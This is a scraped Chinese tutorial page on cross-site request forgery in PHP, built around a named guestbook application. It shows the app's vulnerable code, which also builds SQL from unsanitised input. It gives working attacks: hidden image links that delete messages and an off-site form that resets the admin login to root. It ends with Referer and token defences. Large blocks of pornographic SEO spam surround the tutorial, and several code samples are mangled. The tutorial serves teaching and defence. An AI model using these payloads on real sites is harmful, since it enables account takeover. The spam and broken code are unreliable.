精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

PHP漏洞全解(六)-跨網站請求偽造

系統 Linux
本文主要介紹針對PHP網站的跨網站請求偽造。在CSRF所有攻擊方式中包含攻擊者偽造一個看起來是其他用戶發起的 HTTP 請求,事實上,跟蹤一個用戶發送的 HTTP 請求才是攻擊者的目的。

CSRF(Cross Site Request Forgeries),意為跨網站請求偽造,也有寫為XSRF。攻擊者偽造目標用戶的HTTP請求,然后此請求發送到有CSRF漏洞的網站,網站執行此請求后,引發跨站請求偽造攻擊。攻擊者利用隱蔽的HTTP連接,讓目標用戶在不注意的情況下單擊這個鏈接,由于是用戶自己點擊的,而他又是合法用戶擁有合法權限,所以目標用戶能夠在網站內執行特定的HTTP鏈接,從而達到攻擊者的目的。

例如:某個購物網站購買商品時,采用http://www.shop.com/buy.php?item=watch&num=1,item參數確定要購買什么物品,num參數確定要購買數量,如果攻擊者以隱藏的方式發送給目標用戶鏈接

,那么如果目標用戶不小心訪問以后,購買的數量就成了1000個

實例

隨緣網絡PHP留言板V1.0

任意刪除留言

//delbook.php 此頁面用于刪除留言

  1. include_once("dlyz.php"); //dlyz.php用戶驗證權限,當權限是admin的時候方可刪除留言 
  2. include_once("../conn.php"); 
  3. $del=$_GET["del"]; 
  4. $id=$_GET["id"]; 
  5. if ($del=="data"
  6. $ID_Dele= implode(",",$_POST['adid']); 
  7. $sql="delete from book where id in (".$ID_Dele.")"
  8. mysql_query($sql); 
  9. else 
  10. $sql="delete from book where id=".$id//傳遞要刪除的留言ID 
  11. mysql_query($sql); 
  12. mysql_close($conn); 
  13. echo ""
  14. echo "alert(‘刪除成功!’);"
  15. echo " location=’book.php’;"
  16. echo ""
  17. ?> 

當我們具有admin權限,提交http://localhost/manage/delbook.php?id=2 時,就會刪除id為2的留言

利用方法:

我們使用普通用戶留言(源代碼方式),內容為

  1. "delbook.php?id=2" /> 
  2. "delbook.php?id=3" /> 
  3. "delbook.php?id=4" /> 
  4. "delbook.php?id=5" /> 

插入4張圖片鏈接分別刪除4個id留言,然后我們返回首頁瀏覽看,沒有什么變化。。圖片顯示不了

現在我們再用管理員賬號登陸后,來刷新首頁,會發現留言就剩一條,其他在圖片鏈接中指定的ID號的留言,全部都被刪除。

攻擊者在留言中插入隱藏的圖片鏈接,此鏈接具有刪除留言的作用,而攻擊者自己訪問這些圖片鏈接的時候,是不具有權限的,所以看不到任何效果,但是當管理員登陸后,查看此留言,就會執行隱藏的鏈接,而他的權限又是足夠大的,從而這些留言就被刪除了

修改管理員密碼

  1. //pass.php 
  2. if($_GET["act"]) 
  3. $username=$_POST["username"]; 
  4. $sh=$_POST["sh"]; 
  5. $gg=$_POST["gg"]; 
  6. $title=$_POST["title"]; 
  7. $copyright=$_POST["copyright"]."
    設計制作:廈門隨緣網絡科技"
  8. $password=md5($_POST["password"]); 
  9. if(emptyempty($_POST["password"])) 
  10. $sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"
  11. else 
  12. $sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"
  13. mysql_query($sql); 
  14. mysql_close($conn); 
  15. echo ""
  16. echo "alert(‘修改成功!’);"
  17. echo " location=’pass.php’;"
  18. echo ""

這個文件用于修改管理密碼和網站設置的一些信息,我們可以直接構造如下表單:

  1. <body> 
  2. <form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1"> 
  3. <input type="radio" value="1" name="sh"> 
  4. <input type="radio" name="sh" checked value="0"> 
  5. <input type="text" name="username" value="root"> 
  6. <input type="password" name="password" value="root"> 
  7. <input type="text" name="title" value="隨緣網絡PHP留言板V1.0(帶審核功能)" > 
  8. <textarea name="gg" rows="6" cols="80" >歡迎您安裝使用隨緣網絡PHP留言板V1.0(帶審核功能)!textarea> 
  9. <textarea name="copyright" rows="6" cols="80" >隨緣網絡PHP留言本V1.0 版權所有:廈門隨緣網絡科技 2005-2009<br/>承接網站建設及系統定制 提供優惠主機域名textarea> 
  10. form> 
  11. body> 

存為attack.html,放到自己網站上http://www.sectop.com/attack.html,此頁面訪問后會自動向目標程序的pass.php提交參數,用戶名修改為root,密碼修改為root,然后我們去留言板發一條留言,隱藏這個鏈接,管理訪問以后,他的用戶名和密碼全部修改成了root

防范方法

防范CSRF要比防范其他攻擊更加困難,因為CSRF的HTTP請求雖然是攻擊者偽造的,但是卻是由目標用戶發出的,一般常見的防范方法有下面幾種:

1、檢查網頁的來源

2、檢查內置的隱藏變量

3、使用POST,不要使用GET

檢查網頁來源

在//pass.php頭部加入以下紅色字體代碼,驗證數據提交

  1. if($_GET["act"]) 
  2. if(isset($_SERVER["HTTP_REFERER"])) 
  3. $serverhost = $_SERVER["SERVER_NAME"]; 
  4. $strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]); 
  5. $strdomain = explode("/",$strurl); 
  6. $sourcehost = $strdomain[0]; 
  7. if(strncmp($sourcehost$serverhoststrlen($serverhost))) 
  8. {
  9. unset($_POST); 
  10. echo ""
  11. echo "alert(‘數據來源異常!’);"
  12. echo " location=’index.php’;";
  13. echo ""
  14. $username=$_POST["username"]; 
  15. $sh=$_POST["sh"]; 
  16. $gg=$_POST["gg"]; 
  17. $title=$_POST["title"]; 
  18. $copyright=$_POST["copyright"]."
    設計制作:廈門隨緣網絡科技"
  19. $password=md5($_POST["password"]); 
  20. if(emptyempty($_POST["password"])) 
  21. $sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"
  22. else 
  23. $sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"
  24. mysql_query($sql); 
  25. mysql_close($conn); 
  26. echo ""
  27. echo "alert(‘修改成功!’);"
  28. echo " location=’pass.php’;"
  29. echo ""

檢查內置隱藏變量

我們在表單中內置一個隱藏變量和一個session變量,然后檢查這個隱藏變量和session變量是否相等,以此來判斷是否同一個網頁所調用

  1. php 
  2. include_once("dlyz.php"); 
  3. include_once("../conn.php"); 
  4. if($_GET["act"]) 
  5. if (!isset($_SESSION["post_id"])) 
  6. // 生成唯一的ID,并使用MD5來加密 
  7. $post_id = md5(uniqid(rand(), true)); 
  8. // 創建Session變量 
  9. $_SESSION["post_id"] = $post_id; 
  10. // 檢查是否相等 
  11. if (isset($_SESSION["post_id"])) 
  12. // 不相等 
  13. if ($_SESSION["post_id"] != $_POST["post_id"]) 
  14. // 清除POST變量 
  15. unset($_POST); 
  16. echo "<script language=’javascript’>"; 
  17. echo "alert(‘數據來源異常!’);"; 
  18. echo " location=’index.php’;"; 
  19. echo "script>"; 
  20. …… 
  21. <input type="reset" name="Submit2" value="重 置"> 
  22. <input type="hidden" name="post_id" value="php echo $_SESSION["post_id"];?>"> 
  23. td>tr> 
  24. table> 
  25. form> 
  26. php 
  27. mysql_close($conn); 
  28. ?> 
  29. body> 
  30. html> 

使用POST,不要使用GET

傳遞表單字段時,一定要是用POST,不要使用GET,處理變量也不要直接使用$_REQUEST

責任編輯:xikder 來源: DoDo's Blog
相關推薦

2012-04-12 14:45:13

2012-04-12 11:28:04

2012-04-12 16:05:50

2012-04-12 15:42:35

2012-04-12 15:59:09

2012-04-12 13:36:59

2012-04-12 15:06:44

2013-08-19 10:59:48

2015-09-15 10:52:52

2013-07-03 11:28:47

2010-09-27 17:37:10

2013-05-22 18:32:57

2012-12-10 10:32:22

2011-04-19 13:40:27

2015-03-10 18:07:53

2011-05-10 09:55:14

2015-07-09 09:35:37

2017-11-02 15:28:52

2017-11-02 14:39:54

2015-12-03 17:41:07

點贊
收藏

51CTO技術棧公眾號

欧美丰满高潮xxxx喷水动漫| 成人18视频日本| 曰本色欧美视频在线| 国产成人手机视频| www.欧美日本韩国| 波波电影院一区二区三区| 国产91在线播放九色快色| 国产老头老太做爰视频| 精品国产导航| 欧美日韩国产在线播放网站| 亚洲乱码日产精品bd在线观看| 亚洲AV第二区国产精品| 激情综合网最新| 2019最新中文字幕| 国产奶头好大揉着好爽视频| 成人免费观看cn| 韩国三级在线观看久| 国产精品资源在线| 国产91精品网站| 青草草在线视频| 国产一区二区三区四区二区| 日韩欧美你懂的| 999香蕉视频| 麻豆蜜桃在线| 中文字幕人成不卡一区| 久久伊人资源站| www.蜜桃av.com| 美女看a上一区| 欧美一区二区三区免费观看| 免费一级片视频| 日韩电影一区| 精品视频久久久久久| 四虎国产精品永久免费观看视频| 日韩精品免费观看视频| 香蕉成人啪国产精品视频综合网| 欧美性受xxxx黑人猛交88| 欧美精品少妇| 99国产一区二区三精品乱码| 亚洲xxxx在线| 国产精品毛片久久久久久久av| 另类亚洲自拍| 91chinesevideo永久地址| 免费三片在线播放| 国产精品多人| 欧美丰满少妇xxxxx| 欧美爱爱小视频| 伊人久久大香线| 日韩中文字幕免费看| 在线看片中文字幕| 蜜桃国内精品久久久久软件9| 亚洲高清在线观看| 亚洲图片欧美另类| www.av麻豆| 欧美aa在线| 亚洲高清免费在线| 妞干网在线播放| 国产极品人妖在线观看| 一区二区三区四区高清精品免费观看 | 亚洲天堂黄色片| 天堂美国久久| 久久精品国产一区二区电影| 婷婷国产成人精品视频| 久久精品国产www456c0m| 中文字幕少妇一区二区三区| avhd101老司机| 日韩极品一区| www.欧美免费| 欧美高清视频一区二区三区| 欧美日本国产| 91精品国产91久久久| 免费观看成人毛片| 天堂蜜桃一区二区三区| 国产精品色婷婷视频| 一本色道久久综合熟妇| 国产综合久久久久久鬼色| 97se视频在线观看| 先锋av资源站| 欧美国产日韩亚洲一区| 一区二区三区国产福利| 伊人福利在线| 婷婷中文字幕综合| 青青久久av北条麻妃海外网| 五月婷婷亚洲综合| 秋霞影院一区二区| 高清一区二区三区日本久| 国产午夜小视频| 久久精品道一区二区三区| 国产精品免费久久久| 国产乱淫片视频| 成人av免费网站| 欧美激情视频一区二区三区| 免费av不卡| 午夜视黄欧洲亚洲| 浓精h攵女乱爱av| 欧一区二区三区| 亚洲女人天堂成人av在线| 久久噜噜色综合一区二区| 亚洲视频一二| 国产欧美精品一区二区三区-老狼| 国产白浆在线观看| 久久久久国产精品人| 最新视频 - x88av| 国模私拍一区二区国模曼安| 欧美性猛片xxxx免费看久爱| 日韩成人av影院| 青青草原综合久久大伊人精品| 欧美大片免费观看在线观看网站推荐| www.国产com| 国产在线精品一区二区夜色 | 国产免费久久| 欧美日本高清一区| 中文字幕欧美人妻精品一区蜜臀| 成人免费视频播放| 一区二区不卡视频| av高清不卡| 精品国产第一区二区三区观看体验| 国产成人福利在线| 日韩午夜黄色| 97超级碰碰| 午夜视频在线看| 欧美午夜激情小视频| 欧美日韩一区二区区别是什么 | 亚洲区成人777777精品| 日韩伦理三区| 亚洲黄色成人网| 欧美日韩大片在线观看| 久久精品国产成人一区二区三区 | 一级毛片免费高清中文字幕久久网| 日本精品性网站在线观看| 亚洲欧美另类综合| 亚洲欧美一区二区久久| 在线免费av播放| 奇米色欧美一区二区三区| 欧美亚洲成人xxx| 亚洲第一页视频| 亚洲视频一区在线观看| 国产一伦一伦一伦| 精品日产免费二区日产免费二区 | 国产成人午夜性a一级毛片| 日韩精品中文字幕视频在线| 黄色小视频在线免费看| 国产成人综合自拍| 国产资源第一页| 精品视频91| 久久精品视频在线观看| 一区二区小视频| 欧美国产日韩亚洲一区| 亚洲免费av一区二区三区| 国产在线日韩精品| 国产精品成人一区二区| av在线免费播放网站| 欧美在线你懂得| 天天操天天舔天天射| 久久这里有精品15一区二区三区| 久久99精品久久久久子伦 | 欧美视频在线看| 欧美丰满少妇人妻精品| 久久久久国产精品午夜一区| 欧美日韩亚洲一区二区三区在线观看| 日韩性xxx| 亚洲香蕉伊综合在人在线视看| 中文字幕在线欧美| 国产精品美女www爽爽爽| 高清av免费看| 自拍偷拍欧美| 国产一区不卡在线观看| 自拍一区在线观看| 永久555www成人免费| 亚洲av人无码激艳猛片服务器| 中文在线资源观看网站视频免费不卡| 潘金莲激情呻吟欲求不满视频| 亚洲综合五月| 国产麻豆乱码精品一区二区三区| 日本免费一区二区六区| 一本色道久久综合狠狠躁篇怎么玩| 少妇一级淫片日本| 亚洲丝袜精品丝袜在线| 制服丝袜在线第一页| 免费在线观看成人av| 日韩欧美精品在线不卡| 亚洲伊人伊成久久人综合网| 欧美高清无遮挡| 免费在线看v| 欧美一区二区三区思思人| 国产做受高潮漫动| 国产欧美精品一区二区色综合 | 亚洲色欲色欲www| 折磨小男生性器羞耻的故事| 麻豆亚洲精品| 在线观看免费黄色片| 黄色网一区二区| 国产精品视频精品视频| 日韩成人伦理| 亚洲丝袜在线视频| 成人av手机在线| 欧美在线视频日韩| 国产成人精品a视频一区| 国产视频一区二区在线观看| 日本黄色一级网站| 亚洲三级电影在线观看| 正在播放亚洲| 日韩欧美中文字幕电影| 91综合免费在线| 国产免费不卡| 欧美激情一区二区三区成人 | 邪恶网站在线观看| 亚洲第一毛片| 一区二区三区日韩视频| 亚洲三级精品| 国产精品综合久久久久久| 69堂免费精品视频在线播放| 97婷婷涩涩精品一区| 秋霞成人影院| 亚洲欧美另类国产| 国产91免费在线观看| 欧美裸体bbwbbwbbw| 黄色片视频免费| 亚洲福中文字幕伊人影院| 日韩av网站在线播放| 久久精品免视看| 男人的天堂影院| 国产精品1区2区3区在线观看| 日本熟妇人妻中出| 午夜在线精品偷拍| 欧美精品久久久久久久久久久| 午夜片欧美伦| 涩涩涩999| 免费毛片在线不卡| 久久精品日韩精品| 韩国精品福利一区二区三区| 2022国产精品| 国产va免费精品观看精品| 国产精品一区二区3区| 久久爱91午夜羞羞| 欧美中文在线视频| 午夜影院在线播放| 97超级碰碰碰久久久| 岛国在线视频网站| 久久久久久亚洲精品| 日韩精品卡一| 欧美激情国产高清| 性xxxxfjsxxxxx欧美| 久久国产精品免费视频| 国产日产一区二区| 美女撒尿一区二区三区| 国产在线观看a视频| 久久精品美女视频网站| 黄色片免费在线观看| 深夜福利一区二区| 免费黄色网页在线观看| 精品久久国产精品| а√天堂官网中文在线| 美女精品视频一区| 欧美色图天堂| 午夜精品免费视频| 无遮挡在线观看| 国产精品久久久精品| 成人国产激情| 国产免费一区二区三区香蕉精| 国产原创一区| 91免费在线视频| 影音先锋欧美激情| 精品国产乱码久久久久久88av | 亚洲一区三区视频在线观看| 色777狠狠狠综合伊人| 中文字幕一区综合| 欧美午夜一区| 成人毛片视频网站| 日韩成人dvd| 国产一级免费大片| 国产91精品在线观看| 加勒比精品视频| 国产欧美一区二区三区网站| 欧美美女性生活视频| 亚洲精品亚洲人成人网| 男女性杂交内射妇女bbwxz| av福利精品导航| 一级片视频免费看| 国产精品不卡一区| 国产精品99精品| 91国产视频在线观看| 国产麻豆91视频| 亚洲国产日韩欧美在线动漫| 国产精品二线| 欧美精品在线极品| 成人欧美大片| 91嫩草在线视频| 一本色道久久综合亚洲精品酒店| 亚洲一区三区在线观看| 精品动漫av| 丰满少妇在线观看| 国产91精品露脸国语对白| 天天躁日日躁aaaa视频| 亚洲精品综合在线| 日日骚av一区二区| 日韩精品中文字幕一区| 国产一区电影| 欧美激情在线播放| 国产一区影院| 免费中文日韩| 国产精品大片免费观看| 91人人澡人人爽人人精品| 成人免费电影视频| 亚洲少妇xxx| 日韩欧美精品免费在线| 午夜美女福利视频| 深夜福利亚洲导航| 亚洲天堂一区二区| 国产成人精品日本亚洲11| 欧美成人milf| 久久久免费视频网站| 粉嫩高潮美女一区二区三区 | 一区二区三区四区在线免费观看 | 日韩高清一区二区| 国产伦精品一区二区免费| 亚洲欧洲av另类| 国产九色91回来了| 亚洲精品少妇网址| av在线网页| 91国产在线播放| 国产精品久久天天影视| 人妻丰满熟妇av无码区app| 不卡高清视频专区| 久久久久无码国产精品| 欧美精品tushy高清| av在线之家电影网站| 国产成人一区二区| 五月天亚洲色图| 日本阿v视频在线观看| 国产精品自拍三区| 天天鲁一鲁摸一摸爽一爽| 激情五月综合婷婷| 国产亚洲欧美日韩一区二区| 高清精品在线| 国产精品免费在线 | 欧美经典一区二区| 手机在线看片1024| 国产视频精品久久久| av电影免费在线看| 国产成人精品免费视频大全最热| 一区二区电影| 中文字幕avav| 亚洲黄色在线视频| 国内精品国产成人国产三级| 欧美成年人视频| 国产精品一区二区美女视频免费看| 亚洲国产日韩欧美| 久久精品久久99精品久久| 色婷婷国产精品免| 欧美精选午夜久久久乱码6080| 香蕉视频在线播放| 亚洲一区二区三区777| 亚洲最新av| 中文字幕视频观看| 亚洲va韩国va欧美va| 无码国产精品高潮久久99| 欧美一级淫片播放口| 国产成人一区| 91亚洲精品久久久蜜桃借种| 波多野结衣办公室33分钟| 91黄视频在线| 午夜在线小视频| 99蜜桃在线观看免费视频网站| 狠狠色丁香久久综合频道| 亚洲调教欧美在线| 欧美最猛性xxxxx直播| 在线视频自拍| 国产成人无遮挡在线视频| 制服丝袜第二页| 日本韩国视频一区二区| 免费在线观看黄色网| 91九色极品视频| 国产精品资源| 国产又黄又粗视频| 欧美一区二区三区在线视频| 福利在线导航136| 欧美成熟毛茸茸复古| 久久精品国产亚洲高清剧情介绍 | 欧美视频13p| 欧美尤物美女在线| 国产伦精品一区二区三区四区视频| 免费在线成人| 黄色一级片中国| 亚洲加勒比久久88色综合| www.精品国产| 18禁裸男晨勃露j毛免费观看| 久久―日本道色综合久久| 91麻豆国产在线| 欧美激情一区二区三区久久久| 免费成人av| 熟妇无码乱子成人精品| 欧美日韩在线看| 毛片在线视频| 欧美13一14另类| 国产一区二区三区久久悠悠色av| 中文字幕亚洲精品在线| 久久香蕉国产线看观看av| 网曝91综合精品门事件在线| 91网址在线观看精品| 欧美性精品220|